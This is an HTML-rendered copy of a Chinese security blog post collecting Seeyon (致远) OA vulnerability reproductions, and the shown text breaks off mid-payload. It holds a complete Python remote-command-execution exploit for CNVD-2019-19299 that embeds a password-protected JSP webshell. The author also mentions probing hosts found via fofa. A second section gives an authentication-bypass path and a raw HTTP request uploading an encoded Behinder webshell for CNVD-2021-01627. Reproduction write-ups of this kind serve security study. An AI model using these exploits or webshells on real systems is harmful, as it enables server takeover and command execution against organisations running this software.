-
Notifications
You must be signed in to change notification settings - Fork 1
/
致远OA漏洞集合.html
912 lines (716 loc) · 145 KB
/
致远OA漏洞集合.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.4.2">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">
<link rel="stylesheet" href="//cdn.jsdelivr.net/gh/fancyapps/fancybox@3/dist/jquery.fancybox.min.css">
<script id="hexo-configurations">
var NexT = window.NexT || {};
var CONFIG = {"hostname":"leeyuxun.github.io","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":"mac"},"back2top":{"enable":true,"sidebar":true,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":true,"mediumzoom":false,"lazyload":false,"pangu":true,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"./public/search.xml"};
</script>
<meta name="description" content="【CNVD-2019-19299】致远OA A8远程命令执行漏洞漏洞描述致远A8+协同管理软件存在远程命令执行漏洞。攻击者通过上传精心构造的后门文件即可Getshell，获得目标服务器的权限。">
<meta property="og:type" content="article">
<meta property="og:title" content="致远OA漏洞集合">
<meta property="og:url" content="https://leeyuxun.github.io/%E8%87%B4%E8%BF%9COA%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.html">
<meta property="og:site_name" content="Leeyuxun の note">
<meta property="og:description" content="【CNVD-2019-19299】致远OA A8远程命令执行漏洞漏洞描述致远A8+协同管理软件存在远程命令执行漏洞。攻击者通过上传精心构造的后门文件即可Getshell，获得目标服务器的权限。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225042.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225303.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225355.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225638.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225757.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225903.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225925.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230101.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230143.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230208.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230249.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230313.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230351.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230424.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230509.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230542.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230632.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230732.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230825.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230907.png">
<meta property="og:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230957.png">
<meta property="article:published_time" content="2022-09-12T14:25:23.000Z">
<meta property="article:modified_time" content="2023-05-07T07:37:53.505Z">
<meta property="article:author" content="李钰璕">
<meta property="article:tag" content="漏洞 致远OA">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225042.png">
<link rel="canonical" href="https://leeyuxun.github.io/%E8%87%B4%E8%BF%9COA%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.html">
<script id="page-configurations">
// https://hexo.io/docs/variables.html
CONFIG.page = {
sidebar: "",
isHome : false,
isPost : true,
lang : 'zh-CN'
};
</script>
<title>致远OA漏洞集合 | Leeyuxun の note</title>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-V3499K2XZY"></script>
<script>
if (CONFIG.hostname === location.hostname) {
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-V3499K2XZY');
}
</script>
<script>
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?4d72a66931dff6410b32974da2e3df61";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<noscript>
<style>
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-header { opacity: initial; }
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion .logo-line-before i { left: initial; }
.use-motion .logo-line-after i { right: initial; }
</style>
</noscript>
<style>mjx-container[jax="SVG"] {
direction: ltr;
}
mjx-container[jax="SVG"] > svg {
overflow: visible;
}
mjx-container[jax="SVG"][display="true"] {
display: block;
text-align: center;
margin: 1em 0;
}
mjx-container[jax="SVG"][justify="left"] {
text-align: left;
}
mjx-container[jax="SVG"][justify="right"] {
text-align: right;
}
g[data-mml-node="merror"] > g {
fill: red;
stroke: red;
}
g[data-mml-node="merror"] > rect[data-background] {
fill: yellow;
stroke: none;
}
g[data-mml-node="mtable"] > line[data-line] {
stroke-width: 70px;
fill: none;
}
g[data-mml-node="mtable"] > rect[data-frame] {
stroke-width: 70px;
fill: none;
}
g[data-mml-node="mtable"] > .mjx-dashed {
stroke-dasharray: 140;
}
g[data-mml-node="mtable"] > .mjx-dotted {
stroke-linecap: round;
stroke-dasharray: 0,140;
}
g[data-mml-node="mtable"] > svg {
overflow: visible;
}
[jax="SVG"] mjx-tool {
display: inline-block;
position: relative;
width: 0;
height: 0;
}
[jax="SVG"] mjx-tool > mjx-tip {
position: absolute;
top: 0;
left: 0;
}
mjx-tool > mjx-tip {
display: inline-block;
padding: .2em;
border: 1px solid #888;
font-size: 70%;
background-color: #F8F8F8;
color: black;
box-shadow: 2px 2px 5px #AAAAAA;
}
g[data-mml-node="maction"][data-toggle] {
cursor: pointer;
}
mjx-status {
display: block;
position: fixed;
left: 1em;
bottom: 1em;
min-width: 25%;
padding: .2em .4em;
border: 1px solid #888;
font-size: 90%;
background-color: #F8F8F8;
color: black;
}
foreignObject[data-mjx-xml] {
font-family: initial;
line-height: normal;
overflow: visible;
}
.MathJax path {
stroke-width: 3;
}
mjx-container[display="true"] {
overflow: auto hidden;
}
mjx-container[display="true"] + br {
display: none;
}
</style></head>
<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
<div class="headband"></div>
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="切换导航栏">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<h1 class="site-title">Leeyuxun の note</h1>
<span class="logo-line-after"><i></i></span>
</a>
<p class="site-subtitle" itemprop="description">BUPT | SCSS</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
<i class="fa fa-search fa-fw fa-lg"></i>
</div>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="main-menu menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>
</li>
<li class="menu-item menu-item-links">
<a href="/links/" rel="section"><i class="fa fa-link fa-fw"></i>友链</a>
</li>
<li class="menu-item menu-item-search">
<a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
</a>
</li>
</ul>
</nav>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocapitalize="off"
placeholder="搜索..." spellcheck="false"
type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</div>
</header>
<main class="main">
<div class="main-inner">
<div class="content-wrap">
<div class="content post posts-expand">
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="https://leeyuxun.github.io/%E8%87%B4%E8%BF%9COA%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88.html">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.png">
<meta itemprop="name" content="李钰璕">
<meta itemprop="description" content="安全学习笔记">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Leeyuxun の note">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
致远OA漏洞集合
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间：2022-09-12 22:25:23" itemprop="dateCreated datePublished" datetime="2022-09-12T22:25:23+08:00">2022-09-12</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间：2023-05-07 15:37:53" itemprop="dateModified" datetime="2023-05-07T15:37:53+08:00">2023-05-07</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/" itemprop="url" rel="index"><span itemprop="name">漏洞复现</span></a>
</span>
</span>
<span class="post-meta-item" title="阅读次数" id="busuanzi_container_page_pv" style="display: none;">
<span class="post-meta-item-icon">
<i class="fa fa-eye"></i>
</span>
<span class="post-meta-item-text">阅读次数：</span>
<span id="busuanzi_value_page_pv"></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="【CNVD-2019-19299】致远OA-A8远程命令执行漏洞"><a href="#【CNVD-2019-19299】致远OA-A8远程命令执行漏洞" class="headerlink" title="【CNVD-2019-19299】致远OA A8远程命令执行漏洞"></a>【CNVD-2019-19299】致远OA A8远程命令执行漏洞</h2><h3 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远A8+协同管理软件存在远程命令执行漏洞。攻击者通过上传精心构造的后门文件即可Getshell，获得目标服务器的权限。</p>
<span id="more"></span>
<h3 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h3><ul>
<li>致远A8-V5协同管理软件V6.1sp1</li>
<li>致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3</li>
<li>致远A8+协同管理软件V7.1</li>
</ul>
<h3 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>访问<code>/seeyon/htmlofficeservlet</code>如果出现下图所示的内容，表示存在漏洞。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225042.png"></p>
</li>
<li><p>尝试构造POC如下，使用fofa查询很多致远OA，虽然存在<code>/seeyon/htmlofficeservlet</code>，但一直无法写入文件</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">payload = <span class="string">"DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV"</span></span><br><span class="line">payload += <span class="string">"OPTION=S3WYOSWLBSGr"</span></span><br><span class="line">payload += <span class="string">"currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66"</span></span><br><span class="line">payload += <span class="string">"CREATEDATE=wUghPB3szB3Xwg66"</span></span><br><span class="line">payload += <span class="string">"RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6"</span></span><br><span class="line">payload += <span class="string">"originalFileId=wV66"</span></span><br><span class="line">payload += <span class="string">"originalCreateDate=wUghPB3szB3Xwg66"</span></span><br><span class="line">payload += <span class="string">"FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"</span></span><br><span class="line">payload += <span class="string">"needReadFile=yRWZdAS6"</span></span><br><span class="line">payload += <span class="string">"originalCreateDate=wLSGP4oEzLKAz4=iz=66"</span></span><br><span class="line">payload += <span class="string">"<%@ page language='java' import='java.util.*,java.io.*'' pageEncoding='UTF-8'%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+'\n');}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if('asasd3344'.equals(request.getParameter('pwd'))&&!''.equals(request.getParameter('cmd'))){out.println('<pre>'+excuteCmd(request.getParameter('cmd')) + '</pre>');}else{out.println(':-)');}%>6e4f045d4b8506bf492ada7e3390d7ce"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">post</span>(<span class="params">url</span>):</span><br><span class="line"> url1 = url + <span class="string">"/seeyon/htmlofficeservlet"</span></span><br><span class="line"> header = {<span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:49.0) Gecko/20100101 Firefox/49.0'</span>,</span><br><span class="line"> <span class="string">'Pragma'</span>: <span class="string">'no-cache'</span>, <span class="string">'Content-Length'</span>: <span class="string">'1121'</span>}</span><br><span class="line"> request = requests.post(url1, data=payload, headers=header)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get</span>(<span class="params">url,cmd</span>):</span><br><span class="line"></span><br><span class="line"> url2 = url + <span class="string">"/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd+/c+%s"</span> % cmd</span><br><span class="line"></span><br><span class="line"> request = requests.get(url2)</span><br><span class="line"> response = request.text</span><br><span class="line"> reg = re.<span class="built_in">compile</span>(<span class="string">'<[^>]*>'</span>)</span><br><span class="line"> content = reg.sub(<span class="string">''</span>,response).replace(<span class="string">' '</span>,<span class="string">''</span>)</span><br><span class="line"> <span class="keyword">return</span> content</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) != <span class="number">2</span>:</span><br><span class="line"> <span class="built_in">print</span> <span class="string">"Usage: python A8-OA-seeyon-RCE.py url"</span></span><br><span class="line"> url = sys.argv[<span class="number">1</span>]</span><br><span class="line"> post(url)</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> cmd = raw_input(<span class="string">"Command: "</span>)</span><br><span class="line"> <span class="built_in">print</span></span><br><span class="line"> <span class="built_in">print</span> get(url,cmd)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225303.png"></p>
</li>
</ol>
<h2 id="【CNVD-2021-01627】致远OA-ajax-do登录绕过-任意文件上传漏洞"><a href="#【CNVD-2021-01627】致远OA-ajax-do登录绕过-任意文件上传漏洞" class="headerlink" title="【CNVD-2021-01627】致远OA ajax.do登录绕过 任意文件上传漏洞"></a>【CNVD-2021-01627】致远OA ajax.do登录绕过 任意文件上传漏洞</h2><h3 id="漏洞描述-1"><a href="#漏洞描述-1" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA是一套办公协同管理软件。由于致远OA旧版本某些接口存在未授权访问，以及部分函数存在过滤不足，攻击者通过构造恶意请求，可在无需登录的情况下上传恶意脚本文件，从而控制服务器。致远OA官方已针对该漏洞提供补丁。</p>
<h3 id="影响版本-1"><a href="#影响版本-1" class="headerlink" title="影响版本"></a>影响版本</h3><p>致远OA V8.0</p>
<p>致远OA V7.1、V7.1SP1</p>
<p>致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3</p>
<p>致远OA V6.0、V6.1SP1、V6.1SP2</p>
<p>致远OA V5.x</p>
<p>致远OA G6</p>
<h3 id="复现过程-1"><a href="#复现过程-1" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>访问URL<code>/seeyon/thirdpartyController.do.css/..;/ajax.do</code>，出现如下异常则可能存在漏洞</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225355.png"></p>
</li>
<li><p>然后调用未授权的文件上传接口上传webshell文件，构造POST请求，上传冰蝎马</p>
<figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>xxx.xxx.xxx.xxx</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>3521</span><br><span class="line"><span class="attribute">Origin</span><span class="punctuation">: </span>http://xxx.xxx.xxx.xxx</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>http://xxx.xxx.xxx.xxx/seeyon/thirdpartyController.do.css/..;/ajax.do</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>JSESSIONID=a2e1cfbb-ae00-422b-8624-383d33226aff; loginPageURL=""</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span><span class="punctuation">: </span>1</span><br><span class="line"></span><br><span class="line"><span class="language-llvm">managerMethod<span class="operator">=</span>validate&arguments<span class="operator">=</span><span class="variable">%1</span>F<span class="variable">%C2</span><span class="variable">%8</span>B<span class="variable">%08</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span><span class="variable">%00</span>uTK<span class="variable">%C2</span><span class="variable">%93</span><span class="variable">%C2</span><span class="variable">%A2H</span><span class="variable">%10</span><span class="variable">%3</span>E<span class="variable">%C3</span><span class="variable">%AF</span><span class="variable">%C3</span><span class="variable">%BE</span><span class="variable">%0</span>A<span class="variable">%C3</span><span class="variable">%82</span><span class="variable">%C2</span><span class="variable">%8</span>Bv<span class="variable">%C3</span><span class="variable">%B4</span><span class="variable">%C2</span><span class="variable">%8</span>C<span class="variable">%C2</span><span class="variable">%8</span>D+<span class="keyword">c</span><span class="variable">%C2</span><span class="variable">%BB</span><span class="variable">%13</span><span class="variable">%7</span>Bh_<span class="variable">%C2</span><span class="variable">%88</span><span class="variable">%28</span>*<span class="variable">%28</span><span class="variable">%C2</span><span class="variable">%AF</span><span class="variable">%C2</span><span class="variable">%8</span>D<span class="variable">%3</span>D<span class="variable">%40</span><span class="variable">%15</span>Ba<span class="variable">%15</span><span class="variable">%C2</span><span class="variable">%B0</span><span class="variable">%C3</span><span class="variable">%B2</span><span class="variable">%10</span><span class="variable">%C3</span><span class="variable">%AC</span><span class="variable">%C2</span><span class="variable">%98</span><span class="variable">%C3</span><span class="variable">%BF</span><span class="variable">%C2</span><span class="variable">%BE</span><span class="variable">%05</span><span class="variable">%C3</span><span class="variable">%98</span><span class="variable">%C3</span><span class="variable">%93</span><span class="variable">%3</span>D<span class="variable">%C2</span><span class="variable">%B1</span><span class="variable">%C2</span><span class="variable">%BDu</span><span class="variable">%C2</span><span class="variable">%A9</span><span class="variable">%C3</span><span class="variable">%8</span>C<span class="variable">%C2</span><span class="variable">%AC</span><span class="variable">%C3</span><span class="variable">%8</span>C<span class="variable">%C2</span><span class="variable">%AF</span><span class="variable">%C3</span><span class="variable">%B2</span><span class="variable">%C3</span><span class="variable">%BD</span><span class="variable">%C3</span><span class="variable">%97</span>k<span class="variable">%C3</span><span class="variable">%B7</span><span class="variable">%14</span>_H<span class="variable">%C2</span><span class="variable">%8</span>E<span class="variable">%C2</span><span class="variable">%9</span>DC<span class="variable">%C2</span><span class="variable">%95</span><span class="keyword">x</span><span class="variable">%C3</span><span class="variable">%9</span>D<span class="variable">%3</span>F<span class="variable">%C2</span><span class="variable">%98</span><span class="variable">%C3</span><span class="variable">%81</span><span class="variable">%17</span><span class="variable">%C3</span><span class="variable">%A6M</span><span class="variable">%C2</span><span class="variable">%A28</span><span class="variable">%C2</span><span class="variable">%A4</span><span class="variable">%C2</span><span class="variable">%96</span>t<span class="number">3</span><span class="variable">%2</span>F<span class="variable">%C3</span><span class="variable">%8</span>D<span class="variable">%C2</span><span class="variable">%BA</span><span class="variable">%C3</span><span class="variable">%AF</span><span class="variable">%C3</span><span class="variable">%A2y</span><span class="variable">%C2</span><span class="variable">%99</span><span class="variable">%5</span>C<span class="variable">%C2</span><span class="variable">%BC4EqT</span><span class="variable">%3</span>Fj<span class="variable">%C3</span><span class="variable">%99</span><span class="variable">%05</span>E<span class="variable">%3</span>E<span class="variable">%C2</span><span class="variable">%938</span>Y<span class="variable">%C3</span><span class="variable">%80</span><span class="variable">%C3</span><span class="variable">%BC</span><span class="variable">%C3</span><span class="variable">%89</span>t<span class="variable">%C3</span><span class="variable">%BA</span><span class="variable">%C3</span><span class="variable">%BD</span><span class="variable">%C2</span><span class="variable">%A7</span><span class="variable">%C2</span><span class="variable">%AB</span><span class="variable">%C3</span><span class="variable">%A7</span><span class="variable">%3</span>AI<span class="variable">%C2</span><span class="variable">%92</span><span class="variable">%3</span>E<span class="variable">%C2</span><span class="variable">%A5</span><span class="variable">%C2</span><span class="variable">%9</span>EW<span class="variable">%C3</span><span class="variable">%85</span><span class="variable">%C3</span><span class="variable">%91</span>S<span class="variable">%C3</span><span class="variable">%A7</span><span class="variable">%C3</span><span class="variable">%BB</span><span class="variable">%C3</span><span class="variable">%AFL</span><span class="variable">%7</span>B<span 